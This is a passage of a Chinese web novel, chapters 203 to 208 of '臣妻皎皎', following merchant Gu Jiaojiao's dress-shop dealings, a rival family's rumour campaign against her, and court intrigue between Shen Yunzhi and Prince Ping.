徐青青心中喜悦,又依着京城的规矩,跪在地上给平王磕头行礼。 若是之前,平王看在她这份孝心上,也会让她立即起身,可是这次没有。 “请安?徐青青,你倒真是本王的好女儿啊。” 平王端坐在交椅之上,俯视着地上的徐青青,眼底满是厌恶。 平王子嗣稀薄,徐青青虽是女子,他也想着终是有些用处,却不想,这所谓的女儿未给她带来半分荣耀,却屡次被人嘲讽。 徐青青意识到平王语气不对,缓缓抬头,迎上那双冰冷的眼睛,双肩不禁微颤。 “父王何意?女儿不懂。” “不懂?你找的那个好郎婿,一事无成,为攀权贵不择手段,本王几十年的英名都在他手上毁于一旦。” 平王大吼出声。 徐青青被关在这院子里,自是什么都不知情,但引得平王生了如此大的气,想来事情不简单。 “父王息怒,女儿许久未踏出院门一步,并不知发生了什么,如若孙协兆做了什么不堪的事发,父王不必顾及女儿,随意发落便是。” “若是,若是父王觉得安阳候府配不上我们的门第,即便是取消婚约,女儿也绝无怨言。” 徐青青自是要表达她对平王府的忠心的,更要表明,她作为平王的女儿,必不会向着外人。 只是,皇上下旨赐婚,就算真的不想嫁了,也不可能了。 平王因着她的话,气消了些许,抬了抬手,示意她起来。 “他安阳候府自是配不上平王府的,但……” 但他孙协兆与徐青青倒是极为般配。 平王未将后面的话说完,冷眼瞟了徐青青一眼后,在她期待的目光继续说了下去。 “本王今日来也是提醒你,你身后是平王府,与你有关之事,你所行之事,都要谨慎小心,莫要给本王丢脸。” 平王起身离去,却将李嬷嬷留了下来,将孙协兆最近的言行举止都与徐青青说了一遍。 当初徐青青跟了孙协兆,自也是看重他候府出身的身份,却不想到现在,竟发生这许多事。 “多谢嬷嬷告知,还要劳烦嬷嬷定要向父王禀明,我真的毫不知情。” 徐青青虽成长的环境简陋,却也知道在这京城之中过活,颜面何等重要,何况又是王府这样的门第。 李嬷嬷微微欠身。 “姑娘不必忧心,王爷自是知道姑娘的,奴婢留下,也只是提醒姑娘,这等事若是再发生,怕是于王府,于安阳候府都无益。” 李嬷嬷是平王身边的人,她所说的话,自然就是平王的意思。 “这是自然,我一定谨记,谢嬷嬷提醒。” 看着李嬷嬷离开的背影,徐青青还是心里难安。 平王发火,又来到这里说了这些话语,高高举起,又轻轻放下,她总觉得是有其他意图。 “青儿,过来。” 徐青青唤子自己身边的侍女,在她耳边耳语几句后,青儿便跑了出去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零三章 相助之情 霓裳阁。 顾皎皎一改往日淡雅的妆饰站在人群之中。 淡粉色的衣裙,衣裙飘逸,是如今千金难求的蝉翼纱,上面点缀着花朵刺绣,精致小巧,皆是出自霓裳阁。 “顾掌柜真是厉害,这蝉翼纱即便是在京中也是少得可怜,顾掌柜竟有这许多料子。” “看这刺绣,其他商铺怎能有这等做工。” “今日真的是没有白来,哪怕是买不到这些料子,只看看也是开了眼了。” 这霓裳阁里聚集三三两两的女子,有的是高官夫人,也有候门千金,但凡能进这霓裳阁的,自都是有些身份的。 顾皎皎穿梭在人群中,迎来送往,好不热闹。 “顾掌柜,当日可是说霓裳阁做了男子衣衫,今日怎的没有见到?” 一个声音响起,随后便有无数声音跟着附和。 这正是顾皎皎想要的效果。 她看向众人微微点头。 “各位夫人,小姐莫要着急,我自是备下的,只是这批衣衫的料子难得,只做出十几件,诸位莫要见怪。” 话音落下,楼上便有侍女们带着衣衫缓步下楼。 这些衣衫一一摆放整齐,也是让在场的人眼前一亮。 男子的衣衫颜色都偏暗,没有那样多花里胡哨的装饰,便只在面料上下了功夫。 “这件,是丝线夹杂着银线织的,简单却显高贵。” “这件上的雄鹰图案是仿照画师齐白石的那幅画作直接拓下的。” “还有这件,它的特别之处但是腰带了,上面的红宝石不可多得。” …… 顾皎皎一件接着一件的介绍着,每一件都有它的特别之处,也让那些夫人小姐目不转睛。 “这几套衣衫也是霓裳阁的新品,也是我精挑细选的样式以及料子,但是也只这些,诸位看……” “我要那件带雄鹰的。” “我要那件红宝石腰带的。” 一时间霓裳阁里热闹非凡。 “这些,我都要了。” 一道清丽高傲的声音响起。 众人巡着声音看过去,想要发出来的怒火也都只好硬生生的咽了回去。 赵蕴苎扭动着纤细的腰肢,微昂着头,由六名侍女侍候着,缓步而来。 赵蕴苎乃是首辅大人的孙女,赵家人的掌上明珠,虽是官里家眷,这身份地位也是其他人无法比的,周围的人虽不喜,却也只能忍气吞声。 赵蕴苎在顾皎皎的面前站定,抬手轻抚了下头发,鄙夷的目光也顺势投了过来。 “顾姑娘这生意是越来越红火了,前几日才替皇室摆宴席,如今这霓裳阁也更为热闹了。” 赵蕴苎每次上门都是敌意满满,接触了几次,顾皎皎也摸清了她的脾性。 “赵姑娘过奖了,我这都是小本生意,也是诸位夫人小姐赏脸,我才有口饭吃。” “顾姑娘也太谦虚了些,前几日还听玉荣哥哥称赞于你,想必定是有过人之处的。” 提到杜玉荣,这姑娘的眼睛里都似是放着刀子一般。 顾皎皎面色从容,浅笑蔫然,微低下头显示着自己的谦和。 “杜大人和赵姑娘一样是良善之人,性情相投,家世相近,对民女的称赞也大抵一样。” 这话说出来,赵蕴苎的眉眼间都袭上了一抹笑意,只要有人将他们二人比在一起,她便从心底里高兴。 “顾姑娘的嘴可真甜啊。” 赵蕴苎特意前来自然是得知了前两日杜玉荣送顾皎皎回府之事。 “对了,我今日前来也是定衣衫的,瞧着这些都不错,命人送我府里去吧。” 这哪里是定衣衫,明明就是来拆台的。 顾皎皎在霓裳阁办这么一场,就是为了让这些夫人小姐给她宣扬一番的,若是这衣衫都被赵蕴苎拿走了,就算是给足了银两,也少了效果。 顾皎皎心思一转,上前两步凑近赵蕴苎。 “赵姑娘,借一步说话。” 顾皎皎故作神秘,伸手示意上楼。 赵蕴苎不明所以,还是好奇的向楼上走去。 “诸位莫要介意,请继续,莺儿招呼着。” 顾皎皎此话的意思也是说不必为了这个小插曲而改变原先的计划。 楼上的雅间里。 赵蕴苎坐下时,外面已然有人送了茶水点心,可谓是准备妥贴。 “顾皎皎,你神神秘秘的到底要做什么?难不成我首辅府第的银钱,你还不想赚了?” 扫了一眼那些茶点,赵蕴宁脸上显示着不屑。 “赵姑娘说笑了,我哪敢啊,实在是我心下有所准备,才冒然请姑娘上来。” 顾皎皎话音下来时,叫了门外的侍女,随后便有人端着两个托盘走了进来,放到了赵蕴苎面前的桌上。 上面是两件男子的衣衫,一件是墨色,虽颜色暗了一些,但上面暗纹刺绣高贵威严,是少有的精品。 “这件是民女为首辅大人准备的,我到底是第一次做男子衣衫,怕是有些小家子气,还望首辅大人和赵姑娘莫要嫌弃。” 顾皎皎这话让赵蕴苎微怔,随后便是提防着盯着她。 “你莫不是有事相求?” 赵蕴苎不信一介商户之女做此事,只是为了心意。 顾皎皎却莞尔一笑。 “赵姑娘安心,我做这些,说起来只是为了感谢当日姑娘的相助之情,那日在安阳候府的人面前,我孤立无援,也只有赵姑娘你出言相帮,我一直铭记于心。” 顾皎皎说的诚恳,不禁让人动容。 赵蕴苎略显尴尬,清咳一声,指了指桌上的另一套衣衫,转开话题。 “那这件事呢?” “这件原是给杜大人准备的……” “什么?顾皎皎,你好大的胆子。” “赵姑娘请听我将话讲完。” 顾皎皎笑着,轻声安抚着赵蕴苎的情绪。 “杜大人助我良多,我总想着要送些什么,这套衣衫也是我的心意,但我是女子,送男子衣衫终究是有些不妥。” 她故意停顿了一下,看着赵蕴苎神色缓和才又继续说了下去。 “我左思右想,赵姑娘与杜大人本是旧相识,不如送给姑娘,姑娘若是有意,再送给杜大人,岂不是更好?” 赵蕴苎刚刚有多生气,此时就有多高兴,心里的那点点芥蒂也烟消云散。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零四章 不必再忍 赵蕴苎是开开心心带着两套衣衫离开的。 顾皎皎站在霓裳阁门口,看着那辆马车渐行渐远,脸上的笑意才渐渐散去。 “姑娘,那两套衣衫的料子可是价值不菲,还有那套淡蓝色的,您不是说要送给小云南王的吗?就这样被那人拿走了,一文钱都没给。” 莺儿看不惯,站在一侧低声埋怨着。 顾皎皎何尝不知道自己送出的衣衫价值几何,只是今日这场景,若不如此,怕是会被赵蕴苎毁了这好时机。 赵蕴苎并不是心机深沉之人,也比那些恶人好对付一些,难就难在她的身份,首辅大人的孙女,岂是她们这种身份可以得罪得起的? “赠予小云南王的日后再做就是。” 顾皎皎低声开口。 “姑娘说的轻松,那匹料子还是王吉托一个江南商人带回来的,只此一匹,如今倒便宜了人家。” 莺儿心疼不已,惹得顾皎皎忍不住轻笑出声。 “好了,只要今日霓裳阁一切顺利,其他都是小事。” 顾皎皎拉着莺儿返回,关于那衣衫,顾皎皎自然也是心疼的。 驿站。 双瑞向沈云祉汇报着霓裳阁的事。 “要说这顾姑娘也真是行商的材料,只半日功夫,就有不少府第上门预定男子衣衫,甚至比其他女子衣衫的生意还要好。” 双瑞由衷的感叹着。 沈云祉扯动了下嘴角,低垂下眼眸,他欣赏的人自然是有过人之处的。 “你刚刚说,赵家姑娘上门了,还拿走了衣衫?” 他沉声询问。 “正是,赵姑娘前往的时候怒气冲冲的,似是要打架一般,还差点将所有的衣衫买下,但顾姑娘请她上楼坐了一下,离开时便是喜笑颜开了。” 双瑞详细的说着。 “这个顾皎皎,当真是有一手。” “是啊,那赵姑娘谁人不知,在京城之中向来横行霸道,能与她抗衡的也找不出几人,顾姑娘竟然可以将人哄高兴了,实在难得。” 确实难得,不过沈云祉心中清楚,能让赵蕴苎高兴的,怕也只有杜玉荣了。 沈云祉抬起眼帘,看向双瑞。 “本王身体好转,明日请杜玉荣过府饮酒,顺便也请上顾皎皎。” 双瑞虽不知沈云祉意欲何为,却也立即应下去办。 阳光明媚,倒是最近难得出现的一个好天气。 驿站内的一处池塘边正是赏景的好地方。 沈云祉将席面摆在了这里,他端坐在主位之上,身侧分别坐着顾皎皎与杜玉荣。 顾皎皎接到邀请时是有些意外的,但又想着沈云祉还在养伤,便一刻也没敢耽误的赶来的。 只是,自从她坐在这里,便时不时的瞟向沈云祉的伤口处。 “顾姑娘不必担心,本王已经没事了。” 沈云祉看出她的心思,干脆直截了当的开口。 顾皎皎略显尴尬,立即收回目光。 “臣女是想着,小王爷到底有伤在身,在此处吹风怕是有碍养伤。” 她倒不是胡说,是千真万确这样想着的。 “太医说了,本王也需晒晒太阳,吹吹风,才能好的快些。” 这话,怕也只有顾皎皎会信。 沈云祉侧目,看向许久未说话的杜玉荣。 “玉荣这身衣衫不错,即便是有些距离,本王也觉得很是别致,是新做的吧?” 杜玉荣身上的这套衣衫正是顾皎皎送出去的那套,只是杜玉荣并不知道这衣衫是出自霓裳阁。 “是,小王爷好眼光。” 杜玉荣简单的应了一下,似是不想说太多。 “听闻昨日赵首辅的孙女得了一套衣衫,想着你与赵姑娘的关系,莫不是她送的?” 沈云祉似是玩笑,却步步没有退让。 出于本能的,杜玉荣不自觉的看了一眼顾皎皎。 顾皎皎不明所以,也似是好奇般的看着他,像是等待着他的回答。 “此衣衫确实赵姑娘送来的,我也只是觉得这颜色雅致,今日又来见小云南王才穿上,并无其他。” 杜玉荣的解释显得有些慌忙,毕竟,在场的人也没有问其他。 沈云祉大笑出声,摆了摆手。 “一件衣衫而已,玉荣何必如此紧张,本王也是闲来无事,开个玩笑罢了。” 经他这样一说,杜玉荣才意识到是自己太过紧张了。 顾皎皎在一旁听着,并未往心里去。 那衣衫是她给赵蕴苎的,赵蕴苎定然会第一时间送给杜玉荣,如此说来,杜玉荣今日穿了,也没什么奇怪。 也是顾皎皎的这份不在乎,让杜玉荣的心里酸酸的。 沈云祉是个狡诈的,将一切都看在眼里。 “顾姑娘,绕过这个亭子,便可靠近池塘,池塘里养了数十条锦鲤,可要去看看?” 沈云祉挑了挑眉毛,脸上的笑意未减。 顾皎皎玲珑剔透,自是明白他的意思,立即起身。 “臣女正有此意,二位先聊着,臣女去去便来。” 她微微欠身,转身向亭子后面走去。 见她走的远些,沈云祉才挥了挥手,双剑立即将一份折子递到了杜玉荣面前。 “先看看这个。” 相比刚刚,此时的沈云祉显得尤为郑重。 杜玉荣自也知道,他支开顾皎皎,便是要说正事,立即拿起折子翻看了一下。 看着看着,杜玉荣的脸色,也越发凝重。 “老王爷在回京的路上已经遭遇了两次刺杀,如此胆大妄为。” 杜玉荣的语气里都带着愤怒,他为人正直,行事刚正不阿,最见不得便是这个。 “本王在京城之中数次遇刺,父王一路快马加鞭回京,路途上也是步步惊险,可见,有些人是等不及了。” 沈云祉倚靠在交椅之上,丝毫不掩饰眸子里的冷光。 “既如此,小王爷不必再忍,皇上也一直在追查刺客一事,是该有些结果的时候了。” 杜玉荣的话正合沈云祉的心意。 随后,双剑又将一些纸张递给杜玉荣。 “本王与平王向来水火不容,这些证据若是出自本王之手,怕是难以服众,所以……” “我明白,小王爷放心,我会安排好,必不会出什么岔子。” 杜玉荣立即就明白了沈云祉的意思,对于这种惩恶扬善的事,他们达成了共识。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零五章 小伤而已 驿站的池塘并不大,那所谓的锦鲤也不过是几条丝毫看不出活泼的鲤鱼。 本已是秋末,周围的树木也略显凋零,这前后左右看过去,都给人一种荒凉破败的感觉。 一缕阳光透过缝隙照过来,让人觉得暖暖的。 顾皎皎无事可做,在池塘边的一块大石头上坐下来,随手扯了几根枯草,百无聊赖的丢进池塘里。 这里的鱼怕不都是傻的,即使是有东西砸过来也不怎么动,偶尔吐出几个泡泡,证明它们是活的。 云南王府一直驻守云南,边境王掌管着无数将士,护一方水土,可谓是劳苦功高,可在这偌大的京城,却并没有他们的一处房产田地,没有皇上发话,小云南王也只能住在这驿站里。 即使是身为尊贵的王爷尚且如此,何况是只是商户之女身份的顾皎皎了。 “在想什么?” 一道带着笑意的声音响起,使顾皎皎立即起身。 “小王爷怎么过来了?您伤还未好全,这里的路并不好走。” 顾皎皎言语关切,投过来的目光也略显担忧。 她没有先过问杜玉荣,而是询问他的伤势,只这一点,便足以让沈云祉从心底里喜悦了。 “本王没有那么娇气,小伤而已。” 沈云祉走过来,瞟了一眼那池塘,眼底也不自觉的闪过一抹嫌恶。 这般景色,确实也没什么可赏的。 “若是觉得无趣,本王可带你去京郊,此季节虽万物凋零,落叶却是极美。” “民女不敢,小王爷虽然好了许多,但到底是重伤,还需要好好休养。” 顾皎皎浅笑,又似是突然想起什么似的,紧接着道。 “对了,我来时带了一棵山参,给小王爷熬汤或者是泡茶,都是极好的。” 相比之前的生疏,如今的顾皎皎多了几分温和,只是与沈云祉说话时,总是带着歉意。 她从未明说什么,可沈云祉善察人心,可是清晰的感觉到。 沈云祉扯了扯身上的披风,唇边勾勒出的弧度透着一丝无奈,来日方长。 “好,那本王就收下了,皇上传下旨意,宣本王明日进宫,想着你第一楼的玫瑰酥向来是一绝,你明日备一些,本王带去宫里。” 顾皎皎着眼睛,半晌才反应过来。 “多谢小王爷,我回去后便命人准备。” 她一直想做皇商,奈何这京城之地,是非颇多,到现在为止也没有什么进展。 沈云祉要带她的糕点进皇宫,自然也是为了帮她。 “本王就喜欢你伶俐。” 沈云祉任何时候都不忘了拿她打趣。 顾皎皎脸色微红,移开目光,装模作样的称赞起这池塘边的景色来。 沈云祉大笑出声,二人站在一起,倒给人一种和谐美好的感觉。 安阳候府。 孙协兆的伤好的差不多了,但想着之前得罪平王的事,还是心有余悸,这几日也不曾出门。 他每日都派府里的小厮出去打听外面的情况,但每日带回来的消息,都不是他想听到的。 “霓裳阁接了大批订单,三夫……顾皎皎如今在京城之中也是人人称赞,近日还常常前往驿站。” 小厮头埋得的很低,再一次汇报着自己打探来的消息。 啪! 茶杯落地的破碎声,充斥着整间屋子。 这几日下来每日都是有关顾皎皎在京城风生水起的消息,从宴席,到杜玉荣,最后再到小云南王,这一波接着一波,让孙家人恨得牙根痒痒。 “这个贱人,在老身身边两年,我竟没看出她是这般狐媚货色,贱人。” 孙老夫人咬牙切齿,略显憔悴的脸上满是愤恨。 孙协兆抬眼看着自己的候府,四下荒凉,连侍候的下人都少了一半,再想着顾皎皎如今的日子,心中更是愤愤不平。 “可打听到,顾皎皎前往驿站所为何事?” 孙协兆是忍着心中的怒火问出的这句话。 “不曾知道,小云南王身边向来是保守严密,小人打探不到什么,小人猜测着,大抵是小云南王受伤,顾皎皎前去探望吧。” 沈云祉被刺杀之事,如今整个京城的人都知道。 “你退下吧。” 孙协兆打发了下人。 “这贱人倒是会找机会,上赶着讨好,凭着那张狐狸脸,竟如此不知廉耻。” 孙老夫人听着这些,差点一口气没上来,她如今过的不好,自然也不希望顾皎皎过得好。 孙协兆没有说话,微低着头,眼中满是怒火。 “协兆,你说这小云南王不会是对顾皎皎……” “母亲慎言,这话若是传出去,我们还能有好日子?何况,小云南王虽纨绔一些,到底是也是个王爷,怎会瞧上顾皎皎那个弃妇。” 孙协兆这话,倒是提醒了孙老夫人。 “说起来,小云南王到底是尊贵之人,又得皇恩庇护,若是与顾皎皎这等和离,又是商女的贱人牵扯到一起,不知会发生什么。” 孙老夫人在这等事上,向来是反应最快的。 孙协兆怔了怔,一时没有反应过来。 “母亲的意思是……” “人言可畏,顾皎皎如今正是风头正盛的时候,若是说她有意勾引小云南王,别说是其他人,就是小云南王也会厌恶吧?” 之前发生了许多事,沈云祉都是护着顾皎皎的,但那时是因为沈云祉不了解顾皎皎,若是他们将此女子的面具撕下来,想来沈云祉也是会远离的。 到那时,顾皎皎怕是在京城都待不下去了。 “母亲真是好谋算,我现在就去。” 说着,孙协兆便起身,只是刚走了两步又折了回来,面露难色。 “母亲,这散布消息,口耳相传也是需要银钱的,您那里是否还有多余的银两?” 此话一出,孙老夫人脸色都绿了不少。 自顾皎皎离开后,这整个候府都是孙老夫人撑着的,一家老少只吃喝便是不少银钱,她还要时不时拿出些钱财贴补孙协兆。 “这时日也不短了,你也总要想些办法,如今这候府里都靠我一人支撑,我年纪也大了,难不成你还要指望我侍候你们一辈子吗?” 提到银钱,这候府里的人便没有一个和善的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零六章 不顾自身安危 安阳候府支撑到现在,靠的是祖辈的荫封,到了孙协兆这一辈,子侄无能,他又是个扶不起的阿斗,致使候府日渐衰退。 这些,外人都是看得清楚,偏偏候府里的众人不自知,如今再加上徐青青之事,更是有恃无恐。 “母亲目光也要放远一些,如今是艰难一些,但用不了多少时日,青青便会进门的。” 孙协兆最不愿听的便是有关银钱之事,他停顿了一下后,又继续说了下去。 “青青那可是王府的女儿,别说银钱,就是在这京城中的地位,我们也会比他人高出一大截,若是到那时,母亲所恨的顾皎皎还不得日日来求您。” 这话说到了孙老夫人的心坎上,悲伤散去,被一抹得意所取代。 “说到底,还是我儿有本事,罢了,这个给你。” 孙老夫人掏出一袋银钱,递了过来。 孙协兆刚刚接下,外面便有小厮前来汇报,说是门外有一姑娘要求见,名为青儿。 青儿乃是徐青青的贴身侍女,孙协兆顿时双眼放光,命人将人带进来。 孙协兆在一厢房见了青儿。 “你这般前来,可是青青有什么话说?” 青儿一进站,孙协兆便迫不及待的询问。 青儿微微欠身,算是行礼。 “姑娘近日被王爷责骂,打听过后,才知是因为孙公子,姑娘的意思是,若是孙公子不能约束自己及家人的言行,这门婚事也可作罢。” 青儿只言片语便已表达了徐青青的意思。 听到这话,孙协兆顿时慌了,先不说他对徐青青有情,单是这门亲事带来的好处,他也不能让这婚事黄了。 “我知道是让青青为难了,但你回去跟青青说,这都是那个顾皎皎搞的鬼,我定不会让这件事再发生,迎娶她时也定然是会风风光光。” 似是觉得这些言语无法让徐青青信她,便又补了一句。 “这期间,我也一定会让顾皎皎付出代价,不至于在成婚之时丢了平王府与安阳候府的脸面。” 孙协兆强调,要让这青儿将自己的话一字一句的记下,并给了青儿二两银钱作为赏钱。 看着青儿离去,孙协兆才松了一口气。 第一楼。 顾皎皎吩咐下去,不只准备了玫瑰酥,还备了第一楼的招牌,桂花糖糕以及百花饼。 这些糕点制作烦琐,用料精致,要做起来也是要花费些时间和精力。 “这些糕点务必不能出现差错,经手之人更是要仔细再仔细。” 这样的叮嘱顾皎皎说了一遍又一遍。 “姑娘安心便是,做这些的师傅都是我们第一楼的老师傅,手艺超绝,也是忠心耿耿的。” 莺儿轻声安慰着时,也将一杯将煮好的茶递到顾皎皎面前。 顾皎皎稍稍松了一口气,浅尝了一口茶,温度正好,香气浓郁。 “姑娘,还有一事。” 莺儿看了看门口,确定没人的时候才凑近顾皎皎耳边小声的开口。 “王吉传回来消息,徐青青的侍女进了安阳候府,不久后,孙三便出门了。” 徐青青跟孙协兆有来往也不稀奇,倒是这孙协兆,前不久伤的那般重,如今刚好一些便出门了,怕是有事。 “让王吉继续盯着,孙协兆得罪了平王,虽说不至于悔了这桩婚事,便他也急于证明自己,怕是要拿我开刀。” 顾皎皎低垂着眼眸,轻轻转动着茶杯,上面的青花瓷淡雅精致,她也是花了高价购得的。 “是,王吉办事稳妥,必会做好。” 莺儿应着。 顾皎皎此时才缓缓抬起头。 “我之前让你准备的东西可有什么消息?” “是,今日午后有人传话过来,怕是三两日就会到,姑娘莫急。” 莺儿小声安慰,见顾皎皎点了点头后,她才又低声开口。 “如今姑娘不似从前一般躲着小云南王,倒像昌更上心了,这季节京城里的水果大多也只剩下苹果梨子,姑娘却专门为了小云南王走了水路。” 顾皎皎想着要送些什么给沈云祉,思来想去,便想到了水果,一来这季节水果稀少,二来也有助于他身体恢复。 只是如今天气凉了,从江南而来的水果中途要浪费不少,还要做好防护,这造价比夏季时高了三成不止。 顾皎皎倒是没有犹豫,统统安排下去,所出的银子连眼睛都不眨一下。 这也是莺儿最为意外的。 顾皎皎的身家数不胜数,但却极为节俭,从不奢靡浪费,可这一次却不同。 “小云南王为救我性命,挺身而出,不顾自身安危,只这份恩情,花点银钱也算不得什么。” 她由衷的说道。 莺儿也点了点头。 “是啊,这小云南王虽然脾气古怪了些,也受捉弄姑娘,但是想来,好多事他都是帮着姑娘呢。” 经莺儿这样一提醒,顾皎皎也回想往事。 从与安阳候府斗争,到自己出来掌管商铺,再到后来明争暗斗,好似沈云祉都在一旁,每一次他也出手相帮。 若论恩情,怕也不只是救命之恩了。 顾皎皎陷入沉思,莺儿在一旁叫了她几声,她才回过神。 “姑娘,膳食准备好了,现在叫进来吗?” 顾皎皎笑了笑,掩饰自己刚刚失神的尴尬。 “传吧。” 在这京城之地,权贵遍地都是,但能与王爷牵扯上的人并不多。 小云南王遇刺,大理寺是片刻不停的调查,皇上也屡次过问,因为没有结果还发怒骂人,在得知沈云祉好转一些时,便命人将他宣进皇宫。 平王府。 李嬷嬷在清晨便扣响了平王与平王妃的寝室,听到里面的声音,李嬷嬷才走了进去。 步入内室,平王妃正在为平王更衣,体贴细致。 平王站立的在地中央,双臂微张,扫了一眼走进来的李嬷嬷。 “说。” “启禀王爷,皇上传下旨意,今日休沐一日,诸官员不必上朝。” 李嬷嬷传的自是宫里的旨意。 平王有些意外。 皇上身子一向不好,这半年也少上朝,但众大人的早朝却也是一日未落,今日是怎的了? “可知是何原因?” 平王挑眉,似是随意的询问,李嬷嬷却面露难色。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零七章 时机已到 “有话直说。” 平王妃已经为平王整理好了衣衫,他看着李嬷嬷这样,眉眼间显示出不耐烦。 “回王爷,宫里只说皇上圣体欠安,但奴婢查到,小云南王今日进宫了。” 李嬷嬷话音落下之时,平王的脸色瞬间难看不少。 “你的意思是,皇上命众臣休沐是因为沈云祉?” “老奴不知。” 李嬷嬷未抬头,如实回答。 平王也意识到,这种问题问一个奴婢确实有些多余,抬了抬手示意她出去。 房门关上,平王的面色又凝重了几分。 “王爷若是不放心,不如亲自去看看。” 平王妃站在一旁,低声提醒。 “本王是欲前往探查,只是皇上并未召见,沈云祉又已在前往宫里的路上,我此时前往显得太过刻意。” “王爷莫不是忘了,半月前您得到了一块寿山石,那石天然形成了福寿二字,您不是说过,是要送给皇上的吗?” 平王妃笑的灿烂,眼中闪烁着精明的光芒。 平王恍然大悟,上前扶住平王妃的肩膀。 “王妃说的是,本王现在就请旨入宫。” 话音落下时,平王的手上稍稍用力,以显示对王妃的赞赏与看重。 第一楼。 沈云祉的马车在第一楼停下时,顾皎皎带着几盒糕点忙不迭的跑了过来。 沈云祉没有下车,只掀开帘子看向车下这位娇艳沉稳的女子。 “小云南王安。” 顾皎皎微微俯了俯身子。 沈云祉扫了一眼双瑞,双瑞立即上前将那几个食盒接了下来。 “备了这样多,顾姑娘有心了。” 他的声音很好听,只是总给人觉得有种玩味的感觉,让人不自觉的想要提防。 “是小云南王用心,我多准备一些,尽量不辜负小王爷的心意。” 顾皎皎扬起嘴角,看向周围后,又靠近了马车一些,压低声音继续说道。 “平王带着礼入宫,小王爷小心。” 说完后,也不等沈云祉说什么,她便后退两步,笑意盈盈。 沈云祉的眼底闪过一抹意外,转而恢复如常,他意味深长的看了顾皎皎一眼,随后将帘子放下。 平王在此时入宫,必然是因为知道沈云祉奉召进宫而去打探消息的。 这个消息倒不令人意外,意外的是,顾皎皎这个生意人竟然比他小云南王还要早一步知道。 “双剑。” 马车向前行驶着,沈云祉坐在车中唤了属下的名字。 双剑从马车后骑马而来,在车边才让马慢一些。 “小王爷有何吩咐?” “去查查,平王带入宫中的是什么礼,再有,通知杜玉荣,时机已到。” “是。” 双剑应下后,马车外便是一阵疾驰的马蹄声,随后安静下来。 顾皎皎看着那辆马车渐行渐远,才转身回到第一楼。 时辰还早,第一楼还未开门做生意,里面的伙计都还忙着。 顾皎皎进了二楼的雅阁,刚坐下不久,莺儿就气喘吁吁的跑了进来。 “姑娘,孙三这个泼才,真是该千刀万剐。” 莺儿进门便骂,自是发生了要事。 顾皎皎早就习惯了她这如爆竹一般的性子,浅笑着没有说话,等待着她继续说下去。 “王吉探查到消息,这厮买通了茶馆青楼等地的说书先生,专门散播有关姑娘的消息,安阳候府的事也就罢了,最重要的是……” 莺儿顿了顿,很明显后面的话不好说出口。 顾皎皎等的不耐烦,忍不住开口。 “说啊,重要的是什么?” “说姑娘行为不检,为了银钱攀附权贵,更为摆脱商户身份,屡次勾引小云南王,第一楼接下宴席,霓裳阁订单大增,都是因为你……” 后面的话也不必说了。 流言向来都不是好听的,即使没有亲耳听到,顾皎皎也猜测的出来,大抵也是说她使用了狐媚手段,令沈云祉晕头转向,屡次帮她,也是因为他们已行过苟且之事。 顾皎皎自离开安阳候府后,便也一直小心谨慎,与外男少有接触,就算是沈云祉,她也能避则避,联系多些,也只是在沈云祉受伤之后。 这个孙协兆倒是会抓时机。 “姑娘,要不我们还是像以往一样,花更高的价钱寻些人,以牙还牙?” 莺儿见顾皎皎脸色不好,便在一旁提议。 “不可,此事牵扯到了小云南王,我们跟孙协兆斗的越凶,便会让小云南王越陷入不堪之地。” 顾皎皎终究也是在意自己的身份的,牵扯过多,只会让沈云祉蒙羞。 “那……” “莺儿,告诉王吉找些人手,将流言更方的扩散出去。” 顾皎皎做出这样的决定把莺儿吓了一跳。 “姑娘,此事若是传出,那姑娘的名声还要不要了?” “我的名声已然不重要,重要的是小云南王的名声,流言扩散之时,让他们加上一句,这些话都是听孙协兆说的。” “姑娘……” “快去吧。” 顾皎皎催促着。 莺儿无奈,只得听从,她不知她家姑娘要做什么,也不知这样做的结果是什么,只是顾皎皎说的话,她向来是听的。 皇宫。 皇上今日的气色看上去不错,只是在看到顾云祉时难免还是面露担忧,命太医当着他的面为沈云祉又检查了一次伤口,才安心不少。 “是朕无用,你遇刺多日,朕却未查出什么,委屈你了。” 皇上说话时,还是忍不住咳嗽了两声。 沈云祉立即从交椅上起身,半跪在地上。 “皇上此话折煞微臣了,臣乃是皇上的臣子,又身处边境沙场,有些仇人是再正常不过的事,贼人狡诈,与皇上无关。” 皇上说的是心里话,沈云祉亦是。 “快起来,坐着说话。” 皇上抬了抬手。 沈云祉起身,抬眼向上上面坐着的皇上。 “皇上,有人行刺臣,自是做好了万全的准备,想必也不会查到什么,臣如今也大好,皇上就不必为此事烦忧了。” “倒也不全是为了你,朕病的这些时日,朝内朝外蠢蠢欲动,不知有多少人惦记着朕的皇位呢,对你出手,怕也是为了铲除朕的左膀右臂。” 皇上心里明镜一般。 而就在沈云祉欲说什么时,一位公公从外面走了进来禀告,平王到了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零八章 无稽之谈 平王带着人将一块偌大的石头抬进了殿内。 石头并不奇特,但石头表面上出现福寿二字,平王说自己是昨日才得到了这样的奇石,石头上的福寿二字乃天然形成,并非人工雕刻,是极好的意头。 “臣想着,得到这般奇石,定是上天预示着皇上快要大好了,便马不停蹄的送入宫中。” 平王向来目中无人,倚仗着自己的身份,有时也不将皇上放在眼中,如今倒是不知从哪里学的,说出来的话也让人觉得中听不少。 “平王有心了,只是朕这身子不能久站,云祉啊,你替朕去瞧瞧。” 皇上也是少有的高兴,石头倒也罢了,平王有这份心就足以让他欣慰。 沈云祉得到旨意,自然得走过去瞧一瞧,只是要迎着平王凶狠的目光。 也难怪,哪怕只是看个石头,也是替天子行事,平王心中哪能不恨。 沈云祉不以为然。 他走过去,绕着石头走了一圈,还细心的抚摸了下石头上的印迹,频频点头。 半晌,他转过身抱拳向皇上行礼。 “启禀皇上,确如平王所言,这是难得一见的奇石,上面‘福寿’二字清晰可见,是难得的好兆头。” 听到沈云祉这样说,平王松了一口气,皇上也是面露喜色。 “好,好,来人,将这奇石以紫檀木为架奉至佛宝阁,待到大庆典时取出,供大臣们一观。” 皇上说着时,也扫过下面二人的脸。 沈云祉与平王之间的矛盾并非一日两日,哪怕只是这样并肩站着,也充满敌意。 “你们二人坐吧,朕近日刚得的新茶,你们都尝尝。” 都是自己的臣子,皇上自然是想着化干戈为玉帛。 